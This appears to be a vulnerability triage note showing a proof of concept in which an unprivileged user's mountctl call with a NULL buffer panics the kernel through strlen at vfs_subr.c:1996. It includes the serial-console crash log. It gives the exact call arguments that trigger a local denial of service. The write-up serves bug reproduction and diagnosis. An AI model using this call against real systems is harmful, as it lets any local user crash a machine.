DF-2667 decisive run (via `vm.sh run_user`, unprivileged uid 1001):

    DF-2667: uid=1001 euid=1001, calling mountctl("/", MOUNTCTL_MOUNTFLAGS, fd=-1, ctl=NULL, ctllen=0, buf=NULL, buflen=0)
    <syscall never returns — guest freezes; ssh session times out>

Serial console (vm.sh log):

    Fatal user address access from kernel mode from df2667 at ffffffff809d7740

    Fatal trap 12: page fault while in kernel mode
    cpuid = 1; lapic id = 1
    fault virtual address	= 0x0
    fault code		= supervisor read data, page not present
    instruction pointer	= 0x8:0xffffffff809d7740
    ...
    current process		= 1379
    ...
    Stopped at      strlen: cmpb    $0,(%rdi)
    db>

Faulting process name is `df2667` (the PoC), faulting instruction is the
first byte-load of `strlen()` on a NULL buffer — exactly the
`actsize = strlen(buf)` at sys/kern/vfs_subr.c:1996 with buf==NULL.